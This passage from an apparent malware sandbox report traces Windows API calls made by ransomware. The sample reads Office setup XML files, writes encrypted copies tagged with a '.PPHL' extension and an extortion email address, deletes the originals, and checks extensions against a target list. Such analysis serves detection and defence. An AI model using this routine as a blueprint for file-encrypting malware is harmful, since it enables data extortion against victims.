controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0073.101] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.101] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0073.102] GetLastError () returned 0x0 [0073.102] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x750, lpOverlapped=0x0) returned 1 [0073.176] WriteFile (in: hFile=0x1ec, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x760, lpOverlapped=0x0) returned 1 [0073.178] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.178] WriteFile (in: hFile=0x1ec, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.178] SetEndOfFile (hFile=0x1ec) returned 1 [0073.178] CloseHandle (hObject=0x1ec) returned 1 [0073.178] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.178] SetEndOfFile (hFile=0x20c) returned 1 [0073.179] CloseHandle (hObject=0x20c) returned 1 [0073.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.179] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0073.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0073.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0073.180] lstrlenW (lpString=".doc") returned 4 [0073.180] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.180] lstrlenW (lpString=".docx") returned 5 [0073.180] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0073.180] lstrlenW (lpString=".pdf") returned 4 [0073.180] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.180] lstrlenW (lpString=".xls") returned 4 [0073.180] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.180] lstrlenW (lpString=".xlsx") returned 5 [0073.180] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0073.180] lstrlenW (lpString=".ppt") returned 4 [0073.180] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0073.180] lstrlenW (lpString=".zip") returned 4 [0073.180] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.180] lstrlenW (lpString=".rar") returned 4 [0073.180] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.180] lstrlenW (lpString=".bz2") returned 4 [0073.180] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.180] lstrlenW (lpString=".7z") returned 3 [0073.180] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0073.180] lstrlenW (lpString=".dbf") returned 4 [0073.180] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0073.180] lstrlenW (lpString=".1cd") returned 4 [0073.180] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0073.180] lstrlenW (lpString=".jpg") returned 4 [0073.181] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0073.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0073.181] lstrlenW (lpString=".doc") returned 4 [0073.181] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.181] lstrlenW (lpString=".docx") returned 5 [0073.181] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0073.181] lstrlenW (lpString=".pdf") returned 4 [0073.181] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.181] lstrlenW (lpString=".xls") returned 4 [0073.181] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.181] lstrlenW (lpString=".xlsx") returned 5 [0073.181] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0073.181] lstrlenW (lpString=".ppt") returned 4 [0073.181] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0073.181] lstrlenW (lpString=".zip") returned 4 [0073.181] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.181] lstrlenW (lpString=".rar") returned 4 [0073.181] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.181] lstrlenW (lpString=".bz2") returned 4 [0073.181] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.181] lstrlenW (lpString=".7z") returned 3 [0073.181] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0073.181] lstrlenW (lpString=".dbf") returned 4 [0073.181] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0073.181] lstrlenW (lpString=".1cd") returned 4 [0073.181] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0073.181] lstrlenW (lpString=".jpg") returned 4 [0073.181] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.182] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.182] lstrlenW (lpString="Proof.XML") returned 9 [0073.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0073.182] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1458) returned 1 [0073.182] CloseHandle (hObject=0x20c) returned 1 [0073.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0073.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0073.182] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.182] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0073.183] GetLastError () returned 0x0 [0073.183] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0073.204] WriteFile (in: hFile=0x1ec, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0073.205] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.205] WriteFile (in: hFile=0x1ec, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.205] SetEndOfFile (hFile=0x1ec) returned 1 [0073.205] CloseHandle (hObject=0x1ec) returned 1 [0073.206] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.206] SetEndOfFile (hFile=0x20c) returned 1 [0073.206] CloseHandle (hObject=0x20c) returned 1 [0073.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.207] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0073.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0073.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0073.207] lstrlenW (lpString=".doc") returned 4 [0073.207] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.207] lstrlenW (lpString=".docx") returned 5 [0073.207] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0073.207] lstrlenW (lpString=".pdf") returned 4 [0073.207] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.207] lstrlenW (lpString=".xls") returned 4 [0073.207] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.207] lstrlenW (lpString=".xlsx") returned 5 [0073.208] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0073.208] lstrlenW (lpString=".ppt") returned 4 [0073.208] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0073.208] lstrlenW (lpString=".zip") returned 4 [0073.208] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.208] lstrlenW (lpString=".rar") returned 4 [0073.208] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.208] lstrlenW (lpString=".bz2") returned 4 [0073.208] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.208] lstrlenW (lpString=".7z") returned 3 [0073.208] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0073.208] lstrlenW (lpString=".dbf") returned 4 [0073.208] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0073.208] lstrlenW (lpString=".1cd") returned 4 [0073.208] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0073.209] lstrlenW (lpString=".jpg") returned 4 [0073.209] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0073.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0073.209] lstrlenW (lpString=".doc") returned 4 [0073.209] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.209] lstrlenW (lpString=".docx") returned 5 [0073.209] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0073.209] lstrlenW (lpString=".pdf") returned 4 [0073.209] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.209] lstrlenW (lpString=".xls") returned 4 [0073.209] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.209] lstrlenW (lpString=".xlsx") returned 5 [0073.209] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0073.209] lstrlenW (lpString=".ppt") returned 4 [0073.209] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0073.209] lstrlenW (lpString=".zip") returned 4 [0073.209] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.209] lstrlenW (lpString=".rar") returned 4 [0073.209] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.209] lstrlenW (lpString=".bz2") returned 4 [0073.209] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.209] lstrlenW (lpString=".7z") returned 3 [0073.209] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0073.209] lstrlenW (lpString=".dbf") returned 4 [0073.209] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0073.209] lstrlenW (lpString=".1cd") returned 4 [0073.209] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0073.210] lstrlenW (lpString=".jpg") returned 4 [0073.210] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.210] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.210] lstrlenW (lpString="SETUP.XML") returned 9 [0073.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0073.210] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=5884) returned 1 [0073.210] CloseHandle (hObject=0x20c) returned 1 [0073.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0073.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0073.210] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.211] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0073.698] GetLastError () returned 0x0 [0073.698] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0073.716] WriteFile (in: hFile=0x1ec, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0073.717] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.717] WriteFile (in: hFile=0x1ec, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.717] SetEndOfFile (hFile=0x1ec) returned 1 [0073.717] CloseHandle (hObject=0x1ec) returned 1 [0073.718] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.718] SetEndOfFile (hFile=0x20c) returned 1 [0073.718] CloseHandle (hObject=0x20c) returned 1 [0073.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.719] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0073.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0073.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0073.719] lstrlenW (lpString=".doc") returned 4 [0073.719] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.719] lstrlenW (lpString=".docx") returned 5 [0073.719] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0073.719] lstrlenW (lpString=".pdf") returned 4 [0073.719] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.719] lstrlenW (lpString=".xls") returned 4 [0073.719] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.719] lstrlenW (lpString=".xlsx") returned 5 [0073.719] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0073.719] lstrlenW (lpString=".ppt") returned 4 [0073.719] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0073.719] lstrlenW (lpString=".zip") returned 4 [0073.719] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.719] lstrlenW (lpString=".rar") returned 4 [0073.719] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.719] lstrlenW (lpString=".bz2") returned 4 [0073.720] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.720] lstrlenW (lpString=".7z") returned 3 [0073.720] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0073.720] lstrlenW (lpString=".dbf") returned 4 [0073.720] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0073.720] lstrlenW (lpString=".1cd") returned 4 [0073.720] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0073.720] lstrlenW (lpString=".jpg") returned 4 [0073.720] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0073.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0073.720] lstrlenW (lpString=".doc") returned 4 [0073.720] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.720] lstrlenW (lpString=".docx") returned 5 [0073.720] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0073.720] lstrlenW (lpString=".pdf") returned 4 [0073.720] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.720] lstrlenW (lpString=".xls") returned 4 [0073.720] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.720] lstrlenW (lpString=".xlsx") returned 5 [0073.720] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0073.720] lstrlenW (lpString=".ppt") returned 4 [0073.720] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0073.720] lstrlenW (lpString=".zip") returned 4 [0073.720] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.720] lstrlenW (lpString=".rar") returned 4 [0073.720] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.720] lstrlenW (lpString=".bz2") returned 4 [0073.720] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.720] lstrlenW (lpString=".7z") returned 3 [0073.720] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0073.721] lstrlenW (lpString=".dbf") returned 4 [0073.721] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0073.721] lstrlenW (lpString=".1cd") returned 4 [0073.721] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0073.721] lstrlenW (lpString=".jpg") returned 4 [0073.721] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.721] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.721] lstrlenW (lpString="WordMUI.XML") returned 11 [0073.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), 